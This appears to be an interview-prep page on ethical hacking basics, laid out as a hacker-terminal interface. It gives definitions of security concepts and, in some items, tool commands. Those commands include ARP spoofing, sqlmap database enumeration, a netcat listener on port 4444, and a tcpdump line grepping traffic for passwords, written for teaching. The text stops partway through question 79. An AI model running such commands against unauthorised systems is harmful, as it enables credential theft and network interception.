ETHICAL HACKING BASICS

> Accessing encrypted interview protocols... [OK]
> Loading 100+ cybersecurity defense modules... [OK]
> Initialize your path to becoming a certified security professional.

LEVEL: PRO
0 / 100 CAPTURED
SCAN COMPLETE: 100 VULNERABILITIES IDENTIFIED IN ALL CONCEPTS SECTOR.
001
What is Ethical Hacking?
Beginner

Ethical hacking involves an authorized attempt to gain unauthorized access to a computer system, application, or data. The goal is to identify securit...

DECRYPTED DATA STREAM
Ethical hacking involves an authorized attempt to gain unauthorized access to a computer system, application, or data. The goal is to identify security vulnerabilities which can then be resolved before a malicious attacker can exploit them. It is also known as 'Penetration Testing' or 'White Hat Hacking'.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
002
Explain the CIA Triad.
Beginner

The CIA triad is a foundational model for information security: 1. **Confidentiality**: Ensuring that data is accessible only to authorized individual...

DECRYPTED DATA STREAM
The CIA triad is a foundational model for information security: 1. **Confidentiality**: Ensuring that data is accessible only to authorized individuals. 2. **Integrity**: Ensuring that data is accurate and has not been tampered with. 3. **Availability**: Ensuring that systems and data are accessible when needed.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
003
What are the different types of hackers?
Beginner

- **White Hat**: Ethical hackers who use their skills for defensive purposes with permission. - **Black Hat**: Malicious hackers who violate security ...

DECRYPTED DATA STREAM
- **White Hat**: Ethical hackers who use their skills for defensive purposes with permission. - **Black Hat**: Malicious hackers who violate security for personal gain or damage. - **Grey Hat**: Hackers who may violate laws but usually don't have malicious intent (e.g., exposing a bug without permission but not exploiting it).
#SEC_LEVEL_BEGINNERFUNDAMENTALS
004
What is Footprinting?
Beginner

Footprinting is the first phase of ethical hacking. It involves gathering as much information as possible about a target network or system to identify...

DECRYPTED DATA STREAM
Footprinting is the first phase of ethical hacking. It involves gathering as much information as possible about a target network or system to identify potential entry points. This includes IP addresses, DNS information, and employee details.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
005
What is the difference between VAPT and Penetration Testing?
Beginner

- **Vulnerability Assessment (VA)**: A passive process of identifying and reporting known vulnerabilities without exploiting them. - **Penetration Tes...

DECRYPTED DATA STREAM
- **Vulnerability Assessment (VA)**: A passive process of identifying and reporting known vulnerabilities without exploiting them. - **Penetration Testing (PT)**: An active and authorized attempt to exploit vulnerabilities to verify their existence and impact. - **VAPT** is the combination of both.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
006
What is Social Engineering?
Beginner

Social engineering is the psychological manipulation of people into performing actions or divulging confidential information. Examples include Phishin...

DECRYPTED DATA STREAM
Social engineering is the psychological manipulation of people into performing actions or divulging confidential information. Examples include Phishing, Baiting, and Pretexting.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
007
What is Phishing?
Beginner

Phishing is a type of social engineering where an attacker sends fraudulent messages (usually via email) designed to trick a person into revealing sen...

DECRYPTED DATA STREAM
Phishing is a type of social engineering where an attacker sends fraudulent messages (usually via email) designed to trick a person into revealing sensitive information or deploying malicious software.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
008
What is a Firewall?
Beginner

A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization's previously establis...

DECRYPTED DATA STREAM
A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization's previously established security policies. It acts as a barrier between a trusted network and an untrusted one.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
009
What is an IDS and IPS?
Beginner

- **IDS (Intrusion Detection System)**: Monitors network traffic for suspicious activity and alerts defenders. - **IPS (Intrusion Prevention System)**...

DECRYPTED DATA STREAM
- **IDS (Intrusion Detection System)**: Monitors network traffic for suspicious activity and alerts defenders. - **IPS (Intrusion Prevention System)**: Monitors traffic and actively takes steps to block or stop detected threats.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
010
What is the purpose of Cryptography?
Beginner

Cryptography is the science of securing communication by converting plain text into an unreadable format (ciphertext) using mathematical algorithms an...

DECRYPTED DATA STREAM
Cryptography is the science of securing communication by converting plain text into an unreadable format (ciphertext) using mathematical algorithms and keys. It ensures confidentiality, integrity, and authenticity.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
011
What is Symmetric vs Asymmetric Encryption?
Beginner

- **Symmetric**: Uses the same key for both encryption and decryption (e.g., AES). - **Asymmetric**: Uses a public key for encryption and a private ke...

DECRYPTED DATA STREAM
- **Symmetric**: Uses the same key for both encryption and decryption (e.g., AES). - **Asymmetric**: Uses a public key for encryption and a private key for decryption (e.g., RSA).
#SEC_LEVEL_BEGINNERFUNDAMENTALS
012
What is Hashing?
Beginner

Hashing is a one-way mathematical function that turns data into a fixed-length string of characters. Unlike encryption, hashing cannot be reversed. It...

DECRYPTED DATA STREAM
Hashing is a one-way mathematical function that turns data into a fixed-length string of characters. Unlike encryption, hashing cannot be reversed. It is used to verify data integrity (e.g., MD5, SHA-256).
#SEC_LEVEL_BEGINNERFUNDAMENTALS
013
What is a DoS and DDoS attack?
Beginner

- **DoS (Denial of Service)**: An attack aimed at making a system or network resource unavailable to its intended users. - **DDoS (Distributed DoS)**:...

DECRYPTED DATA STREAM
- **DoS (Denial of Service)**: An attack aimed at making a system or network resource unavailable to its intended users. - **DDoS (Distributed DoS)**: When multiple compromised systems (botnets) are used to target a single system with a flood of traffic.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
014
What is a Botnet?
Beginner

A botnet is a network of hijacked computer devices (bots) that are under the control of a single attacking party (the botmaster or botherder). They ar...

DECRYPTED DATA STREAM
A botnet is a network of hijacked computer devices (bots) that are under the control of a single attacking party (the botmaster or botherder). They are often used for DDoS attacks and spamming.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
015
What is the 5-step process of Hacking?
Beginner

1. **Reconnaissance**: Information gathering. 2. **Scanning**: Identifying open ports and services. 3. **Gaining Access**: Exploiting vulnerabilities....

DECRYPTED DATA STREAM
1. **Reconnaissance**: Information gathering. 2. **Scanning**: Identifying open ports and services. 3. **Gaining Access**: Exploiting vulnerabilities. 4. **Maintaining Access**: Setting up backdoors. 5. **Clearing Tracks**: Removing logs to hide the intrusion.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
016
What is Brute Force Attack?
Beginner

A brute force attack is a trial-and-error method used by application programs to decode encrypted data, such as passwords or Data Encryption Standard ...

DECRYPTED DATA STREAM
A brute force attack is a trial-and-error method used by application programs to decode encrypted data, such as passwords or Data Encryption Standard (DES) keys, through exhaustive effort rather than employing intellectual strategies.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
017
What is a Rootkit?
Beginner

A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not ot...

DECRYPTED DATA STREAM
A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed and often masks its existence.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
018
What is the difference between a Virus and a Worm?
Beginner

- **Virus**: Requires a human action to spread (e.g., opening a file) and attaches itself to a program. - **Worm**: A standalone program that can self...

DECRYPTED DATA STREAM
- **Virus**: Requires a human action to spread (e.g., opening a file) and attaches itself to a program. - **Worm**: A standalone program that can self-replicate and spread across networks without human intervention.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
019
What is the OSI Model?
Beginner

The OSI model consists of 7 layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application. Understanding these layers is cru...

DECRYPTED DATA STREAM
The OSI model consists of 7 layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application. Understanding these layers is crucial for identifying where vulnerabilities exist.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
020
What is Port Scanning?
Beginner

Port scanning is a method used to determine which ports on a network are open and could be receiving or sending data. It's also used to send packets t...

DECRYPTED DATA STREAM
Port scanning is a method used to determine which ports on a network are open and could be receiving or sending data. It's also used to send packets to specific ports and analyze the responses.
SHELL_COMMAND
nmap -sS -p 1-65535 <target_ip>
#SEC_LEVEL_BEGINNERFUNDAMENTALS
021
Common ports to remember?
Beginner

- 21: FTP - 22: SSH - 23: Telnet - 25: SMTP - 53: DNS - 80: HTTP - 443: HTTPS - 3389: RDP

DECRYPTED DATA STREAM
- 21: FTP - 22: SSH - 23: Telnet - 25: SMTP - 53: DNS - 80: HTTP - 443: HTTPS - 3389: RDP
#SEC_LEVEL_BEGINNERFUNDAMENTALS
022
What is a VPN?
Beginner

A Virtual Private Network (VPN) creates a secure, encrypted tunnel over the internet between your device and a server. It masks your IP address and en...

DECRYPTED DATA STREAM
A Virtual Private Network (VPN) creates a secure, encrypted tunnel over the internet between your device and a server. It masks your IP address and encrypts your data traffic.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
023
What is the 'Principle of Least Privilege' (PoLP)?
Beginner

PoLP is the practice of limiting access rights for users to the bare minimum permissions they need to perform their job functions. This reduces the ri...

DECRYPTED DATA STREAM
PoLP is the practice of limiting access rights for users to the bare minimum permissions they need to perform their job functions. This reduces the risk of accidental or intentional security breaches.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
024
What is a SQL Injection (SQLi)?
Beginner

SQLi is a type of vulnerability where an attacker can interfere with the queries that an application makes to its database. It allows attackers to vie...

DECRYPTED DATA STREAM
SQLi is a type of vulnerability where an attacker can interfere with the queries that an application makes to its database. It allows attackers to view, modify, or delete sensitive data.
#SEC_LEVEL_BEGINNERFUNDAMENTALS
025
What is the difference between TCP and UDP?
Beginner

- **TCP**: Connection-oriented, reliable, ensures packets arrive in order (e.g., HTTP, SSH). - **UDP**: Connectionless, faster but unreliable, no guar...

DECRYPTED DATA STREAM
- **TCP**: Connection-oriented, reliable, ensures packets arrive in order (e.g., HTTP, SSH). - **UDP**: Connectionless, faster but unreliable, no guarantee of delivery or order (e.g., DNS, VoIP, Streaming).
#SEC_LEVEL_BEGINNERFUNDAMENTALS
026
What are the 6 phases of Penetration Testing?
Intermediate

1. **Planning and Reconnaissance**: Gathering info. 2. **Scanning**: Using tools like Nmap to see open ports. 3. **Gaining Access**: Exploiting vulner...

DECRYPTED DATA STREAM
1. **Planning and Reconnaissance**: Gathering info. 2. **Scanning**: Using tools like Nmap to see open ports. 3. **Gaining Access**: Exploiting vulnerabilities (SQLi, XSS). 4. **Maintaining Access**: Staying in the system. 5. **Analysis**: Preparing a report. 6. **Information Sharing**: Communicating findings.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
027
What is OWASP Top 10?
Intermediate

The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus on the most critical se...

DECRYPTED DATA STREAM
The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus on the most critical security risks to web applications (e.g., Injection, Broken Access Control, Cryptographic Failures).
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
028
What is XSS (Cross-Site Scripting)?
Intermediate

XSS is a vulnerability where an attacker injects malicious scripts into content from otherwise trusted websites. When a user visits the page, the scri...

DECRYPTED DATA STREAM
XSS is a vulnerability where an attacker injects malicious scripts into content from otherwise trusted websites. When a user visits the page, the script executes in their browser, potentially stealing session cookies.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
029
Explain the three types of XSS.
Intermediate

1. **Stored (Persistent)**: The malicious script is permanently stored on the server (e.g., in a comment field). 2. **Reflected (Non-persistent)**: Th...

DECRYPTED DATA STREAM
1. **Stored (Persistent)**: The malicious script is permanently stored on the server (e.g., in a comment field). 2. **Reflected (Non-persistent)**: The script is 'reflected' off the web server in an error message or search result. 3. **DOM-based**: The vulnerability exists in the client-side code rather than the server-side code.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
030
What is CSRF (Cross-Site Request Forgery)?
Intermediate

CSRF is an attack that forces an authenticated user to execute unwanted actions on a web application in which they're currently authenticated. With a ...

DECRYPTED DATA STREAM
CSRF is an attack that forces an authenticated user to execute unwanted actions on a web application in which they're currently authenticated. With a little help of social engineering, an attacker may trick the users of a web application into executing actions of the attacker's choosing.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
031
What is a 'Man-in-the-Middle' (MitM) attack?
Intermediate

A MitM attack is where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicat...

DECRYPTED DATA STREAM
A MitM attack is where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other (e.g., ARP Spoofing, Session Hijacking).
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
032
What is ARP Spoofing?
Intermediate

ARP spoofing is a technique where an attacker sends fake Address Resolution Protocol (ARP) messages onto a local area network to link their MAC addres...

DECRYPTED DATA STREAM
ARP spoofing is a technique where an attacker sends fake Address Resolution Protocol (ARP) messages onto a local area network to link their MAC address with the IP address of a legitimate server or gateway on the network.
SHELL_COMMAND
arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
033
Explain the difference between Encoding, Encrypting, and Hashing.
Intermediate

- **Encoding**: Data transformation for compatibility (not for security). - **Encrypting**: Data transformation for confidentiality (reversible with a...

DECRYPTED DATA STREAM
- **Encoding**: Data transformation for compatibility (not for security). - **Encrypting**: Data transformation for confidentiality (reversible with a key). - **Hashing**: One-way transformation for integrity (non-reversible).
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
034
What is SQLmap and how do you use its basic command?
Intermediate

SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.

DECRYPTED DATA STREAM
SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
SHELL_COMMAND
sqlmap -u "http://test.com/index.php?id=1" --dbs
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
035
What is Burp Suite?
Intermediate

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work together to support the entire testin...

DECRYPTED DATA STREAM
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
036
What is a Reverse Shell vs Bind Shell?
Intermediate

- **Bind Shell**: The attacker connects to a listener on the victim's machine (often blocked by firewalls). - **Reverse Shell**: The victim machine co...

DECRYPTED DATA STREAM
- **Bind Shell**: The attacker connects to a listener on the victim's machine (often blocked by firewalls). - **Reverse Shell**: The victim machine connects back to the attacker's listener (much more likely to succeed through firewalls).
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
037
What is Enumeration?
Intermediate

Enumeration is the stage where the attacker tries to gain more detailed information about the target. This includes identifying usernames, network res...

DECRYPTED DATA STREAM
Enumeration is the stage where the attacker tries to gain more detailed information about the target. This includes identifying usernames, network resources, and even the operating system of the target machine.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
038
Explain Nmap scripts (NSE).
Intermediate

Nmap Scripting Engine (NSE) allows users to write simple scripts to automate a wide variety of networking tasks. These scripts can perform vulnerabili...

DECRYPTED DATA STREAM
Nmap Scripting Engine (NSE) allows users to write simple scripts to automate a wide variety of networking tasks. These scripts can perform vulnerability detection, exploitation, and advanced discovery.
SHELL_COMMAND
nmap --script vuln <target>
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
039
What is 'Salting' in password hashing?
Intermediate

Salting is the addition of a unique, random string of characters to each password before it is hashed. This makes it much harder for attackers to use ...

DECRYPTED DATA STREAM
Salting is the addition of a unique, random string of characters to each password before it is hashed. This makes it much harder for attackers to use precomputed tables (Rainbow Tables) to crack passwords.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
040
What is a 'Zombie' in the context of cyberattacks?
Intermediate

A zombie is a computer connected to the internet that has been compromised by a hacker, computer virus, or trojan horse and can be used to perform mal...

DECRYPTED DATA STREAM
A zombie is a computer connected to the internet that has been compromised by a hacker, computer virus, or trojan horse and can be used to perform malicious tasks of one sort or another under remote direction. Network of zombies form a botnet.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
041
What is Metasploit Framework?
Intermediate

Metasploit is the world's most used penetration testing framework. It helps security teams verify vulnerabilities, manage security assessments, and im...

DECRYPTED DATA STREAM
Metasploit is the world's most used penetration testing framework. It helps security teams verify vulnerabilities, manage security assessments, and improve security awareness.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
042
What is the difference between a False Positive and a False Negative?
Intermediate

- **False Positive**: A security tool incorrectly identifies a benign activity as a threat. - **False Negative**: A security tool fails to identify a ...

DECRYPTED DATA STREAM
- **False Positive**: A security tool incorrectly identifies a benign activity as a threat. - **False Negative**: A security tool fails to identify a real threat or vulnerability.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
043
What is a 'Buffer Overflow'?
Intermediate

A buffer overflow occurs when a program writes more data to a buffer (a temporary storage area in memory) than it can hold. This can cause the program...

DECRYPTED DATA STREAM
A buffer overflow occurs when a program writes more data to a buffer (a temporary storage area in memory) than it can hold. This can cause the program to crash or, worse, allow an attacker to execute malicious code (code injection).
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
044
What is 'Netcat' (nc)?
Intermediate

Netcat is a versatile networking utility used for reading from and writing to network connections using TCP or UDP. Often called the 'Swiss Army Knife...

DECRYPTED DATA STREAM
Netcat is a versatile networking utility used for reading from and writing to network connections using TCP or UDP. Often called the 'Swiss Army Knife' of networking.
SHELL_COMMAND
nc -lvp 4444 # Listens for connections on port 4444
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
045
What is Sniffing?
Intermediate

Sniffing is the process of monitoring and capturing all data packets passing through a given network using a sniffing tool. Examples of sniffing tools...

DECRYPTED DATA STREAM
Sniffing is the process of monitoring and capturing all data packets passing through a given network using a sniffing tool. Examples of sniffing tools include Wireshark and Tcpdump.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
046
What is the 'Same-Origin Policy' (SOP)?
Intermediate

SOP is a critical security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with a resource from ...

DECRYPTED DATA STREAM
SOP is a critical security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with a resource from another origin. This prevents a malicious script on one page from accessing sensitive data on another page.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
047
What is Cross-Site Scripting (XSS) Mitigation?
Intermediate

Mitigation strategies include: 1. **Input Validation**: Ensuring input meets expected formats. 2. **Output Encoding**: Converting characters like `<` ...

DECRYPTED DATA STREAM
Mitigation strategies include: 1. **Input Validation**: Ensuring input meets expected formats. 2. **Output Encoding**: Converting characters like `<` and `>` into their HTML entities (e.g. `&lt;` and `&gt;`). 3. **Content Security Policy (CSP)**: Telling the browser which sources are trusted for scripts.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
048
What is 'Broken Access Control'?
Intermediate

This vulnerability occurs when a web application fails to properly enforce restrictions on what authenticated users are allowed to do. For example, a ...

DECRYPTED DATA STREAM
This vulnerability occurs when a web application fails to properly enforce restrictions on what authenticated users are allowed to do. For example, a regular user being able to access an admin dashboard by modifying the URL.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
049
What is 'Credential Stuffing'?
Intermediate

Credential stuffing is a type of cyberattack where an attacker uses a large list of compromised usernames and passwords (from a previous data breach) ...

DECRYPTED DATA STREAM
Credential stuffing is a type of cyberattack where an attacker uses a large list of compromised usernames and passwords (from a previous data breach) to attempt to gain unauthorized access to other accounts across different websites.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
050
What is the difference between vulnerability scanning and port scanning?
Intermediate

- **Port Scanning**: Identifies open ports and services running on a target host. - **Vulnerability Scanning**: Identifies specific software security ...

DECRYPTED DATA STREAM
- **Port Scanning**: Identifies open ports and services running on a target host. - **Vulnerability Scanning**: Identifies specific software security flaws (vulnerabilities) in the services discovered.
#SEC_LEVEL_INTERMEDIATEINTERMEDIATE
051
Explain 'Pivoting' in penetration testing.
Advanced

Pivoting is the act of using a compromised system to attack or gather information about other systems on the same internal network that were previousl...

DECRYPTED DATA STREAM
Pivoting is the act of using a compromised system to attack or gather information about other systems on the same internal network that were previously unreachable from the attacker's initial vantage point.
#SEC_LEVEL_ADVANCEDADVANCED
052
What is a 'Zero-Day' vulnerability?
Advanced

A zero-day vulnerability is a software security flaw that is known to the attacker but unknown to the vendor. The 'zero-day' name refers to the fact t...

DECRYPTED DATA STREAM
A zero-day vulnerability is a software security flaw that is known to the attacker but unknown to the vendor. The 'zero-day' name refers to the fact that the developer has 'zero days' to fix the problem before it could be exploited.
#SEC_LEVEL_ADVANCEDADVANCED
053
What is 'Steganography'?
Advanced

Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. Unlike cryptography, it hi...

DECRYPTED DATA STREAM
Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. Unlike cryptography, it hides the very existence of a message.
#SEC_LEVEL_ADVANCEDADVANCED
054
Explain 'Honey Pots'.
Advanced

A honeypot is a decoy computer system that is intentionally left vulnerable to hackers. Its purpose is to lure attackers away from real systems, study...

DECRYPTED DATA STREAM
A honeypot is a decoy computer system that is intentionally left vulnerable to hackers. Its purpose is to lure attackers away from real systems, study their methods, and alert administrators of an ongoing intrusion.
#SEC_LEVEL_ADVANCEDADVANCED
055
What is the difference between a Black Box and a White Box test?
Advanced

- **Black Box**: The tester has zero knowledge of the internal systems (simulates a real outside attacker). - **White Box**: The tester has full knowl...

DECRYPTED DATA STREAM
- **Black Box**: The tester has zero knowledge of the internal systems (simulates a real outside attacker). - **White Box**: The tester has full knowledge of the system, including source code and network diagrams (thorough but less realistic). - **Grey Box**: A combination of both.
#SEC_LEVEL_ADVANCEDADVANCED
056
What is 'Fuzzing'?
Advanced

Fuzzing (or fuzz testing) is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a comput...

DECRYPTED DATA STREAM
Fuzzing (or fuzz testing) is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program to find bugs and security vulnerabilities.
#SEC_LEVEL_ADVANCEDADVANCED
057
What is an 'Evil Twin' attack?
Advanced

An evil twin is a fraudulent Wi-Fi access point that appears to be legitimate but is set up to eavesdrop on wireless communications. It's the wireless...

DECRYPTED DATA STREAM
An evil twin is a fraudulent Wi-Fi access point that appears to be legitimate but is set up to eavesdrop on wireless communications. It's the wireless equivalent of a phishing attack.
#SEC_LEVEL_ADVANCEDADVANCED
058
Explain 'DDoS Mitigation' techniques.
Advanced

Common techniques include: 1. **Scrubbing Centers**: Rerouting traffic through a specialized network to filter out the bad traffic. 2. **Rate Limiting...

DECRYPTED DATA STREAM
Common techniques include: 1. **Scrubbing Centers**: Rerouting traffic through a specialized network to filter out the bad traffic. 2. **Rate Limiting**: Restricting the number of requests from a single IP. 3. **Anycast Routing**: Spreading the traffic across multiple global servers.
#SEC_LEVEL_ADVANCEDADVANCED
059
What is 'DNS Tunneling'?
Advanced

DNS tunneling is a method for encoding the data of other programs or protocols in DNS queries and responses. Attackers use it to bypass firewalls and ...

DECRYPTED DATA STREAM
DNS tunneling is a method for encoding the data of other programs or protocols in DNS queries and responses. Attackers use it to bypass firewalls and exfiltrate data from a restricted network.
#SEC_LEVEL_ADVANCEDADVANCED
060
What is 'BlueTeaming' vs 'RedTeaming'?
Advanced

- **Red Team**: Offensive security professionals who simulate real-world attacks to test security defenses. - **Blue Team**: Defensive security profes...

DECRYPTED DATA STREAM
- **Red Team**: Offensive security professionals who simulate real-world attacks to test security defenses. - **Blue Team**: Defensive security professionals who defend against both real attackers and red teams.
#SEC_LEVEL_ADVANCEDADVANCED
061
What is 'Privilege Escalation'?
Advanced

Privilege escalation is the act of exploiting a bug, design flaw, or configuration error in an operating system or software application to gain elevat...

DECRYPTED DATA STREAM
Privilege escalation is the act of exploiting a bug, design flaw, or configuration error in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.
#SEC_LEVEL_ADVANCEDADVANCED
062
What is a 'Sandbox' in cybersecurity?
Advanced

A sandbox is a security mechanism for separating running programs, usually in an effort to mitigate system failures or software vulnerabilities from s...

DECRYPTED DATA STREAM
A sandbox is a security mechanism for separating running programs, usually in an effort to mitigate system failures or software vulnerabilities from spreading. It is often used to execute untested or untrusted programs from unverified sources.
#SEC_LEVEL_ADVANCEDADVANCED
063
What is 'WAF' (Web Application Firewall)?
Advanced

A WAF is a specific type of firewall that filters, monitors, and blocks HTTP traffic to and from a web application. It differs from a regular firewall...

DECRYPTED DATA STREAM
A WAF is a specific type of firewall that filters, monitors, and blocks HTTP traffic to and from a web application. It differs from a regular firewall in its ability to inspect deep into the application layer.
#SEC_LEVEL_ADVANCEDADVANCED
064
What is 'Penetration Testing Reporting'?
Advanced

Reporting is the final and most important phase of a penetration test. It detail the vulnerabilities found, their severity, the evidence of exploitati...

DECRYPTED DATA STREAM
Reporting is the final and most important phase of a penetration test. It detail the vulnerabilities found, their severity, the evidence of exploitation, and clear recommendations for remediation.
#SEC_LEVEL_ADVANCEDADVANCED
065
What is 'Session Hijacking'?
Advanced

Session hijacking (sometimes known as cookie hijacking) is the exploitation of a valid computer session—sometimes called a session key—to gain unautho...

DECRYPTED DATA STREAM
Session hijacking (sometimes known as cookie hijacking) is the exploitation of a valid computer session—sometimes called a session key—to gain unauthorized access to information or services in a computer system.
#SEC_LEVEL_ADVANCEDADVANCED
066
Explain 'Cryptography' vs 'Steganography'.
Advanced

- **Cryptography**: The message is visible but scrambled/unreadable without a key. - **Steganography**: The message itself is hidden, its very existen...

DECRYPTED DATA STREAM
- **Cryptography**: The message is visible but scrambled/unreadable without a key. - **Steganography**: The message itself is hidden, its very existence is unknown.
#SEC_LEVEL_ADVANCEDADVANCED
067
What are the common vulnerabilities in IoT devices?
Advanced

1. Weak, Guessable, or Hardcoded Passwords. 2. Insecure Network Services. 3. Insecure Ecosystem Interfaces (e.g., cloud, web, mobile API). 4. Lack of ...

DECRYPTED DATA STREAM
1. Weak, Guessable, or Hardcoded Passwords. 2. Insecure Network Services. 3. Insecure Ecosystem Interfaces (e.g., cloud, web, mobile API). 4. Lack of Secure Update Mechanism.
#SEC_LEVEL_ADVANCEDADVANCED
068
What is 'Air Gapping'?
Advanced

An air gap is a network security measure employed on one or more computers to ensure that a secure computer network is physically isolated from unsecu...

DECRYPTED DATA STREAM
An air gap is a network security measure employed on one or more computers to ensure that a secure computer network is physically isolated from unsecured networks, such as the public internet or an unsecured local area network.
#SEC_LEVEL_ADVANCEDADVANCED
069
Explain the importance of 'Patch Management'.
Advanced

Patch management is the process of distributing and applying updates to software. These patches are often necessary to correct security vulnerabilitie...

DECRYPTED DATA STREAM
Patch management is the process of distributing and applying updates to software. These patches are often necessary to correct security vulnerabilities and functional bugs.
#SEC_LEVEL_ADVANCEDADVANCED
070
What is 'Packet Injection'?
Advanced

Packet injection is a computer networking term that refers to the act of an attacker injecting a packet into a network to disrupt communication or tri...

DECRYPTED DATA STREAM
Packet injection is a computer networking term that refers to the act of an attacker injecting a packet into a network to disrupt communication or trick a system.
#SEC_LEVEL_ADVANCEDADVANCED
071
What is an 'SQL Injection' (Blind SQLi)?
Advanced

Blind SQLi is a type of SQL Injection where the database does not output any information to the web page. The attacker must use time-delays or boolean...

DECRYPTED DATA STREAM
Blind SQLi is a type of SQL Injection where the database does not output any information to the web page. The attacker must use time-delays or boolean responses to determine the structure of the database.
#SEC_LEVEL_ADVANCEDADVANCED
072
Explain 'Bug Bounty' programs.
Advanced

A bug bounty program is a deal offered by many websites, organizations, and software developers by which individuals can receive recognition and compe...

DECRYPTED DATA STREAM
A bug bounty program is a deal offered by many websites, organizations, and software developers by which individuals can receive recognition and compensation for reporting software bugs, especially those which exploit vulnerabilities.
#SEC_LEVEL_ADVANCEDADVANCED
073
What is 'Cyber Forensics'?
Advanced

Computer forensics is the field of technology that uses investigative techniques to identify and preserve evidence from a computer device. It's often ...

DECRYPTED DATA STREAM
Computer forensics is the field of technology that uses investigative techniques to identify and preserve evidence from a computer device. It's often used to discover evidence that might be used in a court of law.
#SEC_LEVEL_ADVANCEDADVANCED
074
What is 'Bypassing 2FA' techniques?
Advanced

Attackers can bypass 2FA using techniques like: Session Cookie theft, SIM Swapping, Real-time Phishing (Proxies), and Social Engineering the help desk...

DECRYPTED DATA STREAM
Attackers can bypass 2FA using techniques like: Session Cookie theft, SIM Swapping, Real-time Phishing (Proxies), and Social Engineering the help desk.
#SEC_LEVEL_ADVANCEDADVANCED
075
What is 'Reverse Engineering' in security?
Advanced

In the context of security, reverse engineering is used to analyze malware to see what it does, or to analyze software to find hidden vulnerabilities ...

DECRYPTED DATA STREAM
In the context of security, reverse engineering is used to analyze malware to see what it does, or to analyze software to find hidden vulnerabilities and flaws in the code.
#SEC_LEVEL_ADVANCEDADVANCED
076
Scenario: You find an open port 80. What is your next step?
Scenario

Perform service version detection and then browse the site to identify the technology stack (e.g., CMS, Web Server version) and look for obvious entry...

DECRYPTED DATA STREAM
Perform service version detection and then browse the site to identify the technology stack (e.g., CMS, Web Server version) and look for obvious entry points or sensitive directories.
SHELL_COMMAND
nmap -sV -p 80 <target>
#SEC_LEVEL_SCENARIOTOOLS
077
Scenario: How to identify the operating system of a remote host?
Scenario

Use Nmap with the `-O` flag for OS fingerprinting. It analyzes how the target responds to specific TCP/IP packets.

DECRYPTED DATA STREAM
Use Nmap with the `-O` flag for OS fingerprinting. It analyzes how the target responds to specific TCP/IP packets.
SHELL_COMMAND
nmap -O <target>
#SEC_LEVEL_SCENARIOTOOLS
078
Scenario: You want to capture passwords on a local network. Tools?
Scenario

Use Wireshark or Tcpdump for packet capturing. If the traffic is unencrypted (HTTP, FTP, Telnet), you can see credentials in plain text.

DECRYPTED DATA STREAM
Use Wireshark or Tcpdump for packet capturing. If the traffic is unencrypted (HTTP, FTP, Telnet), you can see credentials in plain text.
SHELL_COMMAND
tcpdump -i eth0 -A | grep -i "pass"
#SEC_LEVEL_SCENARIOTOOLS
079
Scenario: How to check if a website is vulnerable to SQL injection using a tool?
Scenario

Use SQLmap with high risk and level parameters for a thorough scan.

DECRYPTED DATA STREAM
